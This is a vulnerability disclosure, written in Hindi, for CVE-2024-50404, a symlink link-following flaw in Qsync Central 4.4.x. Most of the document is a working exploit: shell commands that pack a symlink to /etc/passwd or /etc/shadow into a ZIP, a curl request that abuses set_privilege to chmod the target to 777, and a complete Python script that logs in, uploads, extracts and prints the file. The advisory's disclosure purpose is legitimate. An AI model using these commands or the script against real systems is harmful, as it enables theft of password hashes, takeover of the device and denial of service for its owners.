
CVE-2024-50404
"एक लिंक अनुवर्तन (link following) भेद्यता Qsync Central को प्रभावित करने की सूचना दी गई है। यदि इसका शोषण किया जाता है, तो यह भेद्यता दूरस्थ हमलावरों को, जिन्होंने उपयोगकर्ता पहुँच प्राप्त कर ली है, फ़ाइल सिस्टम को अनभिप्रेत स्थानों तक पार करने (traverse) की अनुमति दे सकती है।"
खोज की तिथि: 22 अप्रैल 2024
सुधार की तिथि: 7 दिसंबर 2024
प्रभावित संस्करण: Qsync Central 4.4.x
निश्चित संस्करण: Qsync Central 4.4.0.16_20240819 (2024/08/19) और बाद के
पहुँच अनुमतियाँ: फ़ाइल अपलोड अनुमति वाला सामान्य उपयोगकर्ता
सारांश:
ZIP फ़ाइल के माध्यम से एक सिमलिंक (symlink) अपलोड करना और अपलोड किए गए सिमलिंक द्वारा इंगित फ़ाइल को पढ़ना संभव है।
इसके अलावा, सिमलिंक लक्ष्य की फ़ाइल अनुमतियों को संशोधित किया जा सकता है।
एक सामान्य उपयोगकर्ता के विशेषाधिकारों वाला हमलावर अन्य उपयोगकर्ताओं का डेटा या /etc/config/shadow में संग्रहीत पासवर्ड हैश पढ़ सकता है, जिससे पूरे सिस्टम से समझौता हो सकता है।
इसके अतिरिक्त, हमलावर सिस्टम को अनुपयोगी बनाने के लिए महत्वपूर्ण सिस्टम बाइनरी पर निष्पादन अनुमति हटा सकता है।
एक सिमलिंक बनाएँ और इसे ZIP फ़ाइल में रखें।
ln -s /etc/passwd link.txt
zip --symlink pwn.zip link.txt
निम्न-विशेषाधिकार वाले उपयोगकर्ता के रूप में लॉगिन करें।
ZIP फ़ाइल को .Qsync फ़ोल्डर में अपलोड करें।

राइट-क्लिक करके और Extract to /pwn/ चुनकर ZIP फ़ाइल को निकालें।

नया pwn फ़ोल्डर खोलें, link.txt पर राइट-क्लिक करें और Open चुनें।
देखें कि /etc/passwd एक नए टैब में खुलता है।

एक सिमलिंक बनाएँ और इसे ZIP फ़ाइल में रखें।
ln -s /etc/shadow link.txt
zip --symlink pwn.zip link.txt
निम्न-विशेषाधिकार वाले उपयोगकर्ता के रूप में लॉगिन करें।
ZIP फ़ाइल को .Qsync फ़ोल्डर में अपलोड करें।
राइट-क्लिक करके और Extract to /pwn/ चुनकर ZIP फ़ाइल को निकालें।
set_privilege फ़ंक्शन का दुरुपयोग करके उस फ़ाइल की अनुमति बदलें जहाँ सिमलिंक इंगित करता है।
Curl अनुरोध:
curl --path-as-is -i -s -k -X $'GET' -H $'Host: 192.168.178.156' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Referer: https://192.168.178.156/cgi-bin/' -H $'X-Requested-With: XMLHttpRequest' -H $'Sec-Fetch-Dest: empty' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Site: same-origin' -H $'Te: trailers' $'https://192.168.178.156/cgi-bin/qsync/qsyncsrv.cgi?func=set_privilege&sid=9j27809t&source_path=/home/.Qsync/pwn/&source_file=link.txt&bOwn_w=1&bOwn_r=1&bOwn_x=1&bGroup_r=1&bGroup_w=1&bGroup_x=1&bOther_r=1&bOther_w=1&bOther_x=1'
Burp अनुरोध:

आपको URL में sid पैरामीटर को एक मान्य सत्र आईडी से बदलना होगा।
नया pwn फ़ोल्डर खोलें, link.txt पर राइट-क्लिक करें और Open चुनें।
देखें कि /etc/shadow एक नए टैब में खुलता है।

भेद्यता का शोषण करने के लिए निम्नलिखित Python स्क्रिप्ट का उपयोग किया जा सकता है।
#!/usr/bin/env python3
from requests import Session
import base64
import os
import re
import time
import urllib3
# adjust following variables
ENDPOINT = 'https://192.168.178.156'
USERNAME = 'victim'
PASSWORD = 'Victim123!'
FILE = '/etc/shadow'
#DEBUG_PROXY = 'http://localhost:8080'
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def main() -> None:
session = Session()
#session.proxies.update(http=DEBUG_PROXY, https=DEBUG_PROXY)
session.verify = False
print(f'carefull, privileges of {FILE} are changed to 777! clean up is not implemented')
print('creating zip file')
os.system('rm -f pwned.txt pwn.zip')
os.system(f'ln -s {FILE} pwned.txt')
os.system('zip --symlink pwn.zip pwned.txt')
print('loggin in')
response = session.post(
f'{ENDPOINT}/cgi-bin/authLogin.cgi',
headers={'Content-type': 'application/x-www-form-urlencoded'},
data={'user': USERNAME, 'serviceKey': '1', 'client_app': 'Web Desktop', 'dont_verify_2sv_again': '0', 'pwd': base64.b64encode(PASSWORD.encode('ascii')).decode('ascii'), 'client_id': '2b491dc6-6542-480d-a3a2-bbe3b433b764'},
)
assert response.status_code == 200
match = re.search(r'<authSid><!\[CDATA\[(.*?)\]\]></authSid>', response.text)
assert match
sid = match.group(1)
print('uploading zip file')
with open('pwn.zip', 'rb') as file:
upload_file(session, sid, 'pwn.zip', file.read())
print('unpacking zip file')
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=extract&sid={sid}',
headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
data={'mode': 'extract_all', 'pwd': '', 'path_mode': 'full', 'extract_file': '/home/.Qsync/pwn.zip', 'code_page': 'UTF-8', 'overwrite': '1', 'dest_path': '/home/.Qsync'},
)
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
# wait a bit
time.sleep(5)
print('changing privileges on file')
response = session.get(f'{ENDPOINT}/cgi-bin/qsync/qsyncsrv.cgi?func=set_privilege&sid={sid}&source_path=/home/.Qsync/&source_file=pwned.txt&bOwn_w=1&bOwn_r=1&bOwn_x=1&bGroup_r=1&bGroup_w=1&bGroup_x=1&bOther_r=1&bOther_w=1&bOther_x=1')
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
print('read file')
response = session.get(f'{ENDPOINT}/cgi-bin/qsync/qsyncsrv.cgi/pwned.txt?sid={sid}&func=get_viewer&source_path=%2Fhome%2F.Qsync&source_file=pwned.txt')
assert response.status_code == 200
print(response.text)
print('done')
def upload_file(session: Session, sid: str, filename: str, content: bytes) -> None:
# get upload id
response = session.post(f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi', headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}, data={'upload_root_dir': '/home', 'func': 'start_chunked_upload', 'sid': sid})
assert response.status_code == 200
data = response.json()
upload_id = data['upload_id']
assert upload_id
# upload file
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=chunked_upload&sid={sid}&dest_path=%2Fhome%2F.Qsync&mode=1&dup=Copy&upload_root_dir=%2Fhome&upload_id={upload_id}&offset=0&filesize={len(content)}&upload_name={filename}&settime=1&mtime=1713395222&overwrite=1&multipart=0',
files=(
('fileName', (None, filename.encode('ascii'))),
('file', ('blob', content, 'application/octet-stream')),
),
)
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
if __name__ == '__main__':
main()